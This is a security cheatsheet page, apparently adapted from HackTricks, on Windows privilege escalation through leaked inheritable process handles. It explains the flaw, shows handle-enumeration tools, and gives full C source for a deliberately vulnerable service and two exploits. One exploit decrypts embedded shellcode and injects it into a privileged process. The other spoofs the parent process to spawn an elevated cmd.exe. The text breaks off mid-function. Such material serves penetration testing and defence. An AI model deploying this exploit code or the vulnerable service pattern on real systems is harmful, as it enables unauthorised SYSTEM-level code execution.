daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

leaked-handle-exploitation.md (26981B)


      1 ---
      2 title: "Leaked Handle Exploitation"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Leaked Handle Exploitation
     14 
     15 ## Introduction
     16 
     17 Process handles provide **access** to different **Windows resources**:
     18 
     19 ![RootedCON2022 - Exploiting Leaked Handles for LPE](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28246%29.png)
     20 
     21 Several **privilege-escalation** vulnerabilities have involved a **privileged process** with **open, inheritable handles** launching an **unprivileged process** and unintentionally giving it **access to those handles**.
     22 
     23 For example, imagine that **a process running as SYSTEM opens another process** with `OpenProcess()` and requests **full access**. It then calls `CreateProcess()` to launch a **low-privileged child that inherits all open handles from the parent**.\
     24 If you control the low-privileged process, you can use the **inherited handle to the privileged process** to **inject shellcode**.
     25 
     26 ## **Interesting Handles**
     27 
     28 ### **Process**
     29 
     30 As in the initial example, an **unprivileged process** that inherits a sufficiently privileged **process handle** may be able to execute **arbitrary code in the target process**.
     31 
     32 In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can see how to exploit any process handle that has any of the following permissions:<sup>[[1]](#references)</sup>
     33 
     34 - PROCESS_ALL_ACCESS
     35 - PROCESS_CREATE_PROCESS
     36 - PROCESS_CREATE_THREAD
     37 - PROCESS_DUP_HANDLE
     38 - PROCESS_VM_WRITE
     39 
     40 ### Thread
     41 
     42 Similarly, an **unprivileged process** that inherits a sufficiently privileged **thread handle** may be able to execute **arbitrary code through the target thread**.
     43 
     44 In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can also see how to exploit any process handle that has any of the following permissions:<sup>[[1]](#references)[[3]](#references)</sup>
     45 
     46 - THREAD_ALL_ACCESS
     47 - THREAD_DIRECT_IMPERSONATION
     48 - THREAD_SET_CONTEXT
     49 
     50 ### File, Key & Section Handles
     51 
     52 If an **unprivileged process inherits** a handle with **write-equivalent permissions** to a **privileged file or registry key**, it can **overwrite** that object and may be able to **escalate privileges**.
     53 
     54 **Section handles** are similar to file handles; these objects are commonly exposed as [**file mappings**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). They allow a process to work with **large files without keeping the entire file** in memory, so their exploitation can resemble file-handle exploitation.
     55 
     56 ## How to see handles of processes
     57 
     58 ### Process Hacker
     59 
     60 [**Process Hacker**](https://github.com/processhacker/processhacker) is a tool you can download for free. It has several amazing options to inspect processes and one of them is the **capability to see the handles of each process**.
     61 
     62 To **see all handles in all processes, `SeDebugPrivilege` is required**, so run Process Hacker as administrator.
     63 
     64 To see the handles of a process, right click in the process and select Handles:
     65 
     66 ![How to see handles of processes - Process Hacker: To see the handles of a process, right click in the process and select Handles](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28616%29.png)
     67 
     68 You can then right click on the handle and **check the permissions**:
     69 
     70 ![How to see handles of processes - Process Hacker: You can then right click on the handle and check the permissions](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28946%29.png)
     71 
     72 ### Sysinternals Handles
     73 
     74 The [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binary from Sysinternals will also list the handles per process in the console:
     75 
     76 ![Process Hacker - Sysinternals Handles: The Handles binary from Sysinternals will also list the handles per process in the console](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28720%29.png)
     77 
     78 ### LeakedHandlesFinder
     79 
     80 [**This tool**](https://github.com/lab52io/LeakedHandlesFinder) allows you to **monitor** leaked **handles** and even **autoexploit** them to escalate privileges.<sup>[[2]](#references)</sup>
     81 
     82 ### Methodology
     83 
     84 After learning how to find process handles, check whether an **unprivileged process has access to privileged handles**. If so, the process owner may be able to obtain and abuse a handle to escalate privileges.
     85 
     86 > [!WARNING]
     87 > It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a **user can still access the handles of his processes**, so it might be useful if you want to privesc just from that user to **execute the tools with the user regular permissions**.
     88 >
     89 > ```bash
     90 > handle64.exe /a | findstr /r /i "process thread file key pid:"
     91 > ```
     92 
     93 ## Vulnerable Example
     94 
     95 For example, the following code belongs to a vulnerable **Windows service**. The vulnerability is in the service binary's **`Exploit`** function. This function first **opens a handle to a process with full access**. It then **creates a low-privileged process** (by copying the low-privileged token of _explorer.exe_) that executes _C:\users\username\desktop\client.exe_. The vulnerability exists because it creates the low-privileged process with `bInheritHandles` set to `TRUE`.
     96 
     97 Therefore, this low-privileged process can inherit the previously created handle to the high-privileged process and use it to inject and execute shellcode (see the next section).
     98 
     99 ```c
    100 #include <windows.h>
    101 #include <tlhelp32.h>
    102 #include <tchar.h>
    103 #pragma comment (lib, "advapi32")
    104 
    105 TCHAR* serviceName = TEXT("HandleLeakSrv");
    106 SERVICE_STATUS serviceStatus;
    107 SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
    108 HANDLE stopServiceEvent = 0;
    109 
    110 
    111 //Find the PID of a process from its name
    112 int FindTarget(const char *procname) {
    113 
    114 	HANDLE hProcSnap;
    115 	PROCESSENTRY32 pe32;
    116 	int pid = 0;
    117 
    118 	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    119 	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
    120 
    121 	pe32.dwSize = sizeof(PROCESSENTRY32);
    122 
    123 	if (!Process32First(hProcSnap, &pe32)) {
    124 			CloseHandle(hProcSnap);
    125 			return 0;
    126 	}
    127 
    128 	while (Process32Next(hProcSnap, &pe32)) {
    129 			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
    130 					pid = pe32.th32ProcessID;
    131 					break;
    132 			}
    133 	}
    134 
    135 	CloseHandle(hProcSnap);
    136 
    137 	return pid;
    138 }
    139 
    140 
    141 int Exploit(void) {
    142 
    143   	STARTUPINFOA si;
    144   	PROCESS_INFORMATION pi;
    145 	int pid = 0;
    146   	HANDLE hUserToken;
    147 	HANDLE hUserProc;
    148   	HANDLE hProc;
    149 
    150 	// open a handle to itself (privileged process) - this gets leaked!
    151   	hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
    152 
    153 	// get PID of user low privileged process
    154 	if ( pid = FindTarget("explorer.exe") )
    155 		hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    156 	else
    157 		return -1;
    158 
    159 	// extract low privilege token from a user's process
    160     if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
    161         CloseHandle(hUserProc);
    162         return -1;
    163     }
    164 
    165 	// spawn a child process with low privs and leaked handle
    166     ZeroMemory(&si, sizeof(si));
    167     si.cb = sizeof(si);
    168     ZeroMemory(&pi, sizeof(pi));
    169     CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
    170 						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    171 
    172 	CloseHandle(hProc);
    173 	CloseHandle(hUserProc);
    174     return 0;
    175 }
    176 
    177 
    178 void WINAPI ServiceControlHandler( DWORD controlCode ) {
    179 	switch ( controlCode ) {
    180 		case SERVICE_CONTROL_SHUTDOWN:
    181 		case SERVICE_CONTROL_STOP:
    182 			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    183 			SetServiceStatus( serviceStatusHandle, &serviceStatus );
    184 
    185 			SetEvent( stopServiceEvent );
    186 			return;
    187 
    188 		case SERVICE_CONTROL_PAUSE:
    189 			break;
    190 
    191 		case SERVICE_CONTROL_CONTINUE:
    192 			break;
    193 
    194 		case SERVICE_CONTROL_INTERROGATE:
    195 			break;
    196 
    197 		default:
    198 			break;
    199 	}
    200 	SetServiceStatus( serviceStatusHandle, &serviceStatus );
    201 }
    202 
    203 void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
    204 	// initialise service status
    205 	serviceStatus.dwServiceType = SERVICE_WIN32;
    206 	serviceStatus.dwCurrentState = SERVICE_STOPPED;
    207 	serviceStatus.dwControlsAccepted = 0;
    208 	serviceStatus.dwWin32ExitCode = NO_ERROR;
    209 	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
    210 	serviceStatus.dwCheckPoint = 0;
    211 	serviceStatus.dwWaitHint = 0;
    212 
    213 	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
    214 
    215 	if ( serviceStatusHandle ) {
    216 		// service is starting
    217 		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
    218 		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    219 
    220 		// do initialisation here
    221 		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
    222 
    223 		// running
    224 		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
    225 		serviceStatus.dwCurrentState = SERVICE_RUNNING;
    226 		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    227 
    228 		Exploit();
    229 		WaitForSingleObject( stopServiceEvent, -1 );
    230 
    231 		// service was stopped
    232 		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    233 		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    234 
    235 		// do cleanup here
    236 		CloseHandle( stopServiceEvent );
    237 		stopServiceEvent = 0;
    238 
    239 		// service is now stopped
    240 		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
    241 		serviceStatus.dwCurrentState = SERVICE_STOPPED;
    242 		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    243 	}
    244 }
    245 
    246 
    247 void InstallService() {
    248 	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
    249 
    250 	if ( serviceControlManager ) {
    251 		TCHAR path[ _MAX_PATH + 1 ];
    252 		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
    253 			SC_HANDLE service = CreateService( serviceControlManager,
    254 							serviceName, serviceName,
    255 							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
    256 							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
    257 							0, 0, 0, 0, 0 );
    258 			if ( service )
    259 				CloseServiceHandle( service );
    260 		}
    261 		CloseServiceHandle( serviceControlManager );
    262 	}
    263 }
    264 
    265 void UninstallService() {
    266 	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
    267 
    268 	if ( serviceControlManager ) {
    269 		SC_HANDLE service = OpenService( serviceControlManager,
    270 			serviceName, SERVICE_QUERY_STATUS | DELETE );
    271 		if ( service ) {
    272 			SERVICE_STATUS serviceStatus;
    273 			if ( QueryServiceStatus( service, &serviceStatus ) ) {
    274 				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
    275 					DeleteService( service );
    276 			}
    277 			CloseServiceHandle( service );
    278 		}
    279 		CloseServiceHandle( serviceControlManager );
    280 	}
    281 }
    282 
    283 int _tmain( int argc, TCHAR* argv[] )
    284 {
    285 	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
    286 		InstallService();
    287 	}
    288 	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
    289 		UninstallService();
    290 	}
    291 	else  {
    292 		SERVICE_TABLE_ENTRY serviceTable[] = {
    293 			{ serviceName, ServiceMain },
    294 			{ 0, 0 }
    295 		};
    296 
    297 		StartServiceCtrlDispatcher( serviceTable );
    298 	}
    299 
    300 	return 0;
    301 }
    302 ```
    303 
    304 ### Exploit Example 1
    305 
    306 > [!TIP]
    307 > In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
    308 
    309 In this example you can find the code of a possible exploit for _C:\users\username\desktop\client.exe_.\
    310 The most interesting part of this code is in `GetVulnProcHandle`. This function **enumerates all handles**, then checks whether any belongs to the same PID and refers to a **process**. If these requirements are met (an accessible open process handle is found), it attempts to **inject and execute shellcode by abusing the process handle**.\
    311 The **`Inject`** function performs the injection by **writing the shellcode into the privileged process and creating a thread in that process** to execute it.
    312 
    313 ```c
    314 #include <windows.h>
    315 #include <stdio.h>
    316 #include <stdlib.h>
    317 #include <string.h>
    318 #include <time.h>
    319 #include <wincrypt.h>
    320 #include <psapi.h>
    321 #include <tchar.h>
    322 #include <tlhelp32.h>
    323 #include "client.h"
    324 #pragma comment (lib, "crypt32.lib")
    325 #pragma comment (lib, "advapi32")
    326 #pragma comment (lib, "kernel32")
    327 
    328 
    329 int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
    330         HCRYPTPROV hProv;
    331         HCRYPTHASH hHash;
    332         HCRYPTKEY hKey;
    333 
    334         if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
    335                 return -1;
    336         }
    337         if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
    338                 return -1;
    339         }
    340         if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
    341                 return -1;
    342         }
    343         if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
    344                 return -1;
    345         }
    346 
    347         if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
    348                 return -1;
    349         }
    350 
    351         CryptReleaseContext(hProv, 0);
    352         CryptDestroyHash(hHash);
    353         CryptDestroyKey(hKey);
    354 
    355         return 0;
    356 }
    357 
    358 
    359 HANDLE GetVulnProcHandle(void) {
    360 
    361 	ULONG handleInfoSize = 0x10000;
    362     NTSTATUS status;
    363     PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
    364 	HANDLE hProc = NULL;
    365 	POBJECT_TYPE_INFORMATION objectTypeInfo;
    366 	PVOID objectNameInfo;
    367 	UNICODE_STRING objectName;
    368     ULONG returnLength;
    369     HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    370     DWORD dwOwnPID = GetCurrentProcessId();
    371 
    372     pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    373     pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    374     pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    375     pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    376     pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
    377 
    378     printf("[+] Grabbing handles...");
    379 
    380     while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
    381 											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
    382         phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
    383 
    384     if (status != STATUS_SUCCESS)
    385     {
    386         printf("[!] NtQuerySystemInformation failed!\n");
    387         return 0;
    388     }
    389 
    390     printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
    391 
    392     // iterate handles until we find the privileged process handle
    393     for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    394     {
    395         SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
    396 
    397         // Check if this handle belongs to our own process
    398         if (handle.UniqueProcessId != dwOwnPID)
    399             continue;
    400 
    401         objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
    402         if (pNtQueryObject( (HANDLE) handle.HandleValue,
    403 						ObjectTypeInformation,
    404 						objectTypeInfo,
    405 						0x1000,
    406 						NULL ) != STATUS_SUCCESS)
    407             continue;
    408 
    409 		// skip some objects to avoid getting stuck
    410 		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
    411         if (handle.GrantedAccess == 0x0012019f
    412 			&& handle.GrantedAccess != 0x00120189
    413 			&& handle.GrantedAccess != 0x120089
    414 			&& handle.GrantedAccess != 0x1A019F ) {
    415             free(objectTypeInfo);
    416             continue;
    417         }
    418 
    419 		// get object name information
    420         objectNameInfo = malloc(0x1000);
    421         if (pNtQueryObject( (HANDLE) handle.HandleValue,
    422 						ObjectNameInformation,
    423 						objectNameInfo,
    424 						0x1000,
    425 						&returnLength ) != STATUS_SUCCESS) {
    426 
    427 			// adjust the size of a returned object and query again
    428 			objectNameInfo = realloc(objectNameInfo, returnLength);
    429             if (pNtQueryObject( (HANDLE) handle.HandleValue,
    430 							ObjectNameInformation,
    431 							objectNameInfo,
    432 							returnLength,
    433 							NULL ) != STATUS_SUCCESS) {
    434                 free(objectTypeInfo);
    435                 free(objectNameInfo);
    436                 continue;
    437             }
    438         }
    439 
    440         // check if we've got a process object
    441         objectName = *(PUNICODE_STRING) objectNameInfo;
    442         UNICODE_STRING pProcess;
    443 
    444         pRtlInitUnicodeString(&pProcess, L"Process");
    445         if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
    446             printf("[+] Found process handle (%x)\n", handle.HandleValue);
    447             hProc = (HANDLE) handle.HandleValue;
    448 			free(objectTypeInfo);
    449 			free(objectNameInfo);
    450 			break;
    451         }
    452         else
    453             continue;
    454 
    455         free(objectTypeInfo);
    456         free(objectNameInfo);
    457     }
    458 
    459 	return hProc;
    460 }
    461 
    462 int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
    463 
    464 	LPVOID pRemoteCode = NULL;
    465     HANDLE hThread = NULL;
    466 	BOOL bStatus = FALSE;
    467 
    468 	pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
    469 	pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
    470 	pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
    471 
    472 	pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
    473 	pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
    474 
    475     bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
    476 	if (bStatus != FALSE) {
    477 			WaitForSingleObject(hThread, -1);
    478 			CloseHandle(hThread);
    479 			return 0;
    480 	}
    481 	else
    482 		return -1;
    483 }
    484 
    485 int main(int argc, char **argv) {
    486 
    487 	int pid = 0;
    488 	HANDLE hProc = NULL;
    489 
    490 	// AES encrypted shellcode spawning notepad.exe (ExitThread)
    491 	char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
    492 	unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
    493 	unsigned int payload_len = sizeof(payload);
    494 
    495 	printf("My PID: %d\n", GetCurrentProcessId());
    496 	getchar();
    497 
    498 	// find a leaked handle to a process
    499 	hProc = GetVulnProcHandle();
    500 
    501 	if ( hProc != NULL) {
    502 
    503 		// d#Decrypt payload
    504 		AESDecrypt((char *) payload, payload_len, key, sizeof(key));
    505 		printf("[+] Sending gift...");
    506 		// Inject and run the payload in the privileged context
    507 		Inject(hProc, payload, payload_len);
    508 		printf("done.\n");
    509 	}
    510 	getchar();
    511 
    512     return 0;
    513 }
    514 ```
    515 
    516 ### Exploit Example 2
    517 
    518 The real-world handle-discovery constraint described in the first exploit example also applies to this token-based variant.
    519 
    520 In this example, **instead of abusing the open handle to inject** and execute a shellcode, it's going to be **used the token of the privileged open handle process to create a new one**. This is done in lines from 138 to 148.
    521 
    522 Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing `cmd.exe`** will have the same token privilege as the open handle process**.
    523 
    524 ```c
    525 #include <windows.h>
    526 #include <stdio.h>
    527 #include <stdlib.h>
    528 #include <string.h>
    529 #include <time.h>
    530 #include <wincrypt.h>
    531 #include <psapi.h>
    532 #include <tchar.h>
    533 #include <tlhelp32.h>
    534 #include "client.h"
    535 #pragma comment (lib, "crypt32.lib")
    536 #pragma comment (lib, "advapi32")
    537 #pragma comment (lib, "kernel32")
    538 
    539 
    540 HANDLE GetVulnProcHandle(void) {
    541 
    542 	ULONG handleInfoSize = 0x10000;
    543     NTSTATUS status;
    544     PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
    545 	HANDLE hProc = NULL;
    546 	POBJECT_TYPE_INFORMATION objectTypeInfo;
    547 	PVOID objectNameInfo;
    548 	UNICODE_STRING objectName;
    549     ULONG returnLength;
    550     HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    551     DWORD dwOwnPID = GetCurrentProcessId();
    552 
    553     pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    554     pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    555     pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    556     pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    557     pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
    558 
    559     printf("[+] Grabbing handles...");
    560 
    561     while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
    562 											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
    563         phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
    564 
    565     if (status != STATUS_SUCCESS)
    566     {
    567         printf("[!] NtQuerySystemInformation failed!\n");
    568         return 0;
    569     }
    570 
    571     printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
    572 
    573     // iterate handles until we find the privileged process handle
    574     for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    575     {
    576         SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
    577 
    578         // Check if this handle belongs to our own process
    579         if (handle.UniqueProcessId != dwOwnPID)
    580             continue;
    581 
    582         objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
    583         if (pNtQueryObject( (HANDLE) handle.HandleValue,
    584 						ObjectTypeInformation,
    585 						objectTypeInfo,
    586 						0x1000,
    587 						NULL ) != STATUS_SUCCESS)
    588             continue;
    589 
    590 		// skip some objects to avoid getting stuck
    591 		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
    592         if (handle.GrantedAccess == 0x0012019f
    593 			&& handle.GrantedAccess != 0x00120189
    594 			&& handle.GrantedAccess != 0x120089
    595 			&& handle.GrantedAccess != 0x1A019F ) {
    596             free(objectTypeInfo);
    597             continue;
    598         }
    599 
    600 		// get object name information
    601         objectNameInfo = malloc(0x1000);
    602         if (pNtQueryObject( (HANDLE) handle.HandleValue,
    603 						ObjectNameInformation,
    604 						objectNameInfo,
    605 						0x1000,
    606 						&returnLength ) != STATUS_SUCCESS) {
    607 
    608 			// adjust the size of a returned object and query again
    609 			objectNameInfo = realloc(objectNameInfo, returnLength);
    610             if (pNtQueryObject( (HANDLE) handle.HandleValue,
    611 							ObjectNameInformation,
    612 							objectNameInfo,
    613 							returnLength,
    614 							NULL ) != STATUS_SUCCESS) {
    615                 free(objectTypeInfo);
    616                 free(objectNameInfo);
    617                 continue;
    618             }
    619         }
    620 
    621         // check if we've got a process object
    622         objectName = *(PUNICODE_STRING) objectNameInfo;
    623         UNICODE_STRING pProcess;
    624 
    625         pRtlInitUnicodeString(&pProcess, L"Process");
    626         if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
    627             printf("[+] Found process handle (%x)\n", handle.HandleValue);
    628             hProc = (HANDLE) handle.HandleValue;
    629 			free(objectTypeInfo);
    630 			free(objectNameInfo);
    631 			break;
    632         }
    633         else
    634             continue;
    635 
    636         free(objectTypeInfo);
    637         free(objectNameInfo);
    638     }
    639 
    640 	return hProc;
    641 }
    642 
    643 
    644 int main(int argc, char **argv) {
    645 
    646 	HANDLE hProc = NULL;
    647     STARTUPINFOEXA si;
    648     PROCESS_INFORMATION pi;
    649 	int pid = 0;
    650 	SIZE_T size;
    651 	BOOL ret;
    652 
    653 	Sleep(20000);
    654 	// find leaked process handle
    655 	hProc = GetVulnProcHandle();
    656 
    657 	if ( hProc != NULL) {
    658 
    659 		// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
    660 		ZeroMemory(&si, sizeof(STARTUPINFOEXA));
    661 
    662 		InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    663 		si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
    664 
    665 		InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    666 		UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
    667 
    668 		si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    669 
    670 		// Spawn elevated cmd process
    671 		ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
    672 			EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
    673 
    674 		if (ret == FALSE) {
    675 			printf("[!] Error spawning new process: [%d]\n", GetLastError());
    676 			return -1;
    677 		}
    678 	}
